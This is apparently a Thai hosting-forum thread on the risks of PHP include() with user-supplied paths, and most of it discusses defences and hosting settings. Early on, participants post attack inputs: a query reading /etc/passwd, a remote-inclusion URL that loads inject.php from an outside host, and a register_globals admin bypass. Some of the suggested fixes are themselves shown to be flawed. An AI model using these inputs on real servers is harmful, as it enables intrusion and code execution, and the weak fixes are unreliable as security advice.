อันตรายจากคำสั่ง include(); ใน PHP ใครมีประสบการณ์มาแชได้ครับ

นี้เป็น code ง่ายๆ ของโปรแกรมเมอร์อย่างผมที่ทำให้ server มีปัญหามาแล้ว

<?
  include($page);
?>

แต่ก่อนที่เขียนโปรแกรมด้วย PHP ก็ไม่ค่อยรู้เรื่องของมันมาก ทำตามหนังสือก็เป็น พอมีใครรู้บ้างว่า code ที่เขียนด้านบนนี้มีอันตรายอย่างไร
ร่วมตอบคำถาม แล้วเดี่ยวผมจะมาเฉลย

?page=/etc/passwd


?page=http://somedomain.com/inject.php

?page=/etc/passwd

เป็นคำตอบที่ดีครับ แต่ว่า ไฟล์ passwd เอาไปก็ได้แค่ รู้ว่ามี user อะไรบ้าง แต่จะหา password คงยากหน่อย ต้องฝีมือจริงๆ

ตรงนี้ถูกต้องที่สุดเลยครับ
ระบบจะถูก Run PHP โดยที่ไม่จำเป็นต้องมี Code อยู่ที่เครื่องเราเลย เรียกได้ว่า สามารถเขียน code อะไรก็ได้ใน server ของ Hacker จากนั้นก็เรียก ไฟล์โดยผ่าน Function

ดังนั้นถ้าจะมีการเขียนลักษณะอย่างนี้ให้เขียนแบบนี้เพื่อแก้ปัญหาครับ

<?
if(file_exists(“$page”))

php.ini

allow_url_fopen = Off
disable_functions = exec,system,passthru, .....

code.php?pahe=page1


<?
$path = "/basepath/";
if (ereg('/',$page) || ereg('\',$page)) { die('Error message'); }
include($path.$page.'.php');
?>

ว้าวเซียนจริงๆ

ผมใช้แบบนี้อ่ะครับ

$path = “path”;
$file = basename($file);

if(file_exists($path . “/” . $file)) {

ตรงนี้ถูกต้องที่สุดเลยครับ
ระบบจะถูก Run PHP โดยที่ไม่จำเป็นต้องมี Code อยู่ที่เครื่องเราเลย เรียกได้ว่า สามารถเขียน code อะไรก็ได้ใน server ของ Hacker จากนั้นก็เรียก ไฟล์โดยผ่าน Function

ดังนั้นถ้าจะมีการเขียนลักษณะอย่างนี้ให้เขียนแบบนี้เพื่อแก้ปัญหาครับ

<?
if(file_exists(“$page”))
include(“$page”);
?>

ความหมายก็คือ ถ้าไม่มีไฟล์อยู่ในระบบ ก็จะไม่ include มาครับ (ยังไม่ลองนะครับไม่รู้ได้หรือเปล่า ใครลองแล้วก็บอกด้วย)

ลองเอาไปรันสิครับ
มันยังรั่วนะครับ lol

file_exists ใช้ check URL ก็ได้เหมือนกันนะครับ

  • As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to List of Supported Protocols/Wrappers for a listing of which wrappers support stat() family of functionality.
    PHP: Manual Quick Reference

ข้อควรระวังคือ พยายามอย่าใส่ตัวแปรที่รับมาจาก form ใน include
อย่างน้อยต้องมีการกำหนด prefix ให้ path ก่อนเสมอ เช่น
include(“./”.$path);
จะช่วยลดความเสี่ยงลงได้พอสมควร โดยเฉพาะเรื่อง fopen url wrapper
และหากใชู้คู่กับ open basedir ก็สามารถป้องกันการรั่วได้กว่า 90% เลยทีเดียวครับ

คือจริงๆเปิดใช้ open basedir (ใน DA กำหนดให้เป็น default ทุกโดเมนได้) และใช้ session ในการส่ง var อย่าส่งผ่าน form
ส่วน /etc/passwd ก็คุมด้วย open basedir แล้วครับ

allow_url_fopen = Off (ใน php.ini) เป็น on ก็ได้ครับ ไม่จำเป็นต้อง off
ให้ไปกำหนด open_basedir ก็จบ

open_basedir เป็นตัวกำหนดไม่ให้ list อะไรออกนอก home ตนเองอยู่แล้วครับ

allow_url_fopen มีไว้ให้ช่วยเขียนเชื่อมโปรแกรมระหว่างเว็บร่วมกันได้ครับ (มีประโยชน์มาก)

ถ้าปิด allow_url_fopen ก็ใช้หลายอย่างไม่ได้ อย่างเช่น rssthai

open base กับ safemode แล้วก็ mod_security แล้วก็ basic firewall, brute force detection ก็พอเพียงครับ
แต่ที่ว่ามานี้ ผมทำแล้วมักกระทบลูกค้า ให้ลูกค้าปรับโน่นปรับนี้ก็วุ่นวาย
เลยทำใจไว้บ้าง แจ้งลูกค้าหมั่นอัพเดทดีที่สุด

อันที่จริง…เรื่องทั้งหมดนี้มันเกี่ยวกับว่าเราทำ share hosting ครับ… หากเราไม่ได้ share กับใครเรื่องการป้องกันทำกันได้เต็ม 100% สมบรูณ์ครับ
งาน corporate ผมจะนำเสนอ VPS plan เล็กเช่น 128MB/RAM 10GB/Space ลง DA Level Admin แยกออกไป Dedicated IP แล้ว Config + Secure ตามอันควรหรือกล่าวได้ว่าตาม App ครับ

โปรแกรมเมอร์…เลยคนบอกว่า PHP ไม่ปลอดภัย อันนี้ไม่จริงหรอกครับ ลองใช้งาน dedicated แล้วทำ script ให้ถูกต้องตามหลักเขียนโปรแกรมมิ่งจริงๆ ใช้ Session เป็นหลักแทนการค่า variable pass form

free script ที่ผมเห็นว่าเขียนดีมากที่เห็นก็ OSC ครับ… ตัวนี้เขียนตามหลักโปรแกรมมิ่งที่ดีมาก ส่วน Joomla, Mambo ฯลฯ ประเภทที่มี Add-On เสริมจาก Public อันนี้ร้อยทั้งร้อย… ต้องมีช่องโหว่ครับ แต่ OSC ไม่มี เพราะเขาเขียนด้วย Team เดียวไม่มี Add-on มากมาย

คงต้องทำใจกันตั้งแต่ Share Hosting ครับ…
ถามว่าจะป้องกันได้ไหม?
ป้องกันครับ
แต่กระทบกับเว็บอื่นๆมากมาย โดยเฉพาะเหล่า free script ที่นำมาลง…

ต้องกำหนดตึงอย่างใดแล้วหย่อนอย่างใด…อย่างหนึ่ง เพราะความที่ต้องรับหลากหลายสายพันธ์ของโปรแกรมสคริปที่เราไม่สามารถลงไป Optimization Code เองได้

free script ที่ผมเห็นว่าเขียนดีมากที่เห็นก็ OSC ครับ… ตัวนี้เขียนตามหลักโปรแกรมมิ่งที่ดีมาก ส่วน Joomla, Mambo ฯลฯ ประเภทที่มี Add-On เสริมจาก Public อันนี้ร้อยทั้งร้อย… ต้องมีช่องโหว่ครับ แต่ OSC ไม่มี เพราะเขาเขียนด้วย Team เดียวไม่มี Add-on มากมาย

  1. ต้องเปิดใช้ register globals
  2. security ต่ำติดดิน
  3. ไม่มีการ optimize sql query

สามเหตุผลที่ OSC ห่วยแตกบัดซบสำหรับผมครับ

ช่วยอธิบายหน่อยว่า register globals open มีความไม่ปลอดภัยตรงไหน เพราะว่า ป share hosting ส่วนใหญ่จะเปิดกัน

สมมติมีแฟ้ม 2 แฟ้มนะคัรบ

index.php:
<?php
$request = ‘module1.php’;
include(“common.php”);
?>

common.php:
<?php
include($request);
?>

code นี้ ถ้าเปิด register global ไว้ เวลาคน access แฟ้ม common ตรงๆ สามารถ inject ได้สบายๆ เลยครับ
แต่ถ้าปิด register global ก็ไม่มีผลอะไรทั้งสิ้นครับ นอกจาก error บนแฟ้ม common เองเพราะไม่เจอตัวแปร request

รูโหว่นี้เป็นรูโหว่ที่ทำให้ PHPBB โดนเจาะกันกระหน่ำนั่นแหละครับ
สามารถเกิดได้จากความไม่รอบคอบในการเขียน script ของ programmer ครับ

ช่วยอธิบายหน่อยว่า register globals open มีความไม่ปลอดภัยตรงไหน เพราะว่า ป share hosting ส่วนใหญ่จะเปิดกัน

a.php
if($user==‘admin’ && $password==md5(‘xxx’)){
$admin = 1 ;
}

if($admin==1){
echo “I am admin.” ;
}

a.php?admin=1

ถ้าความปลอดภัย น่าจะยกตัวอย่าง SMF ครับ

OSC ผมยืนยันอีกเสียงว่าไม่ได้วางโครงสร้างอะไรดีเลย
แล้วก็เพิ่งจะมาแก้ปัญหาเรื่อง register_global เมื่อเวอร์ชั่น 2.2 MS2 นี้เอง
ดูเรื่อง template ก็น่าจะรู้ว่ามั่วแค่ใหน

ขอบคุณทั้งสองท่านครับ… คราวนี้พอมองเห็นกันบ้างแล้วนะครับ แต่สำหรับ share hosting จะปิด register globals มีผลกระทบแน่

ปกติจะปิดไว้ใน php.ini ครับ เป็นค่า global
ส่วนใครจะ on ก็ไปกำหนดเอาเองใน .htaccess เป็นเว็บๆไปจะปลอดภัยกว่าครับ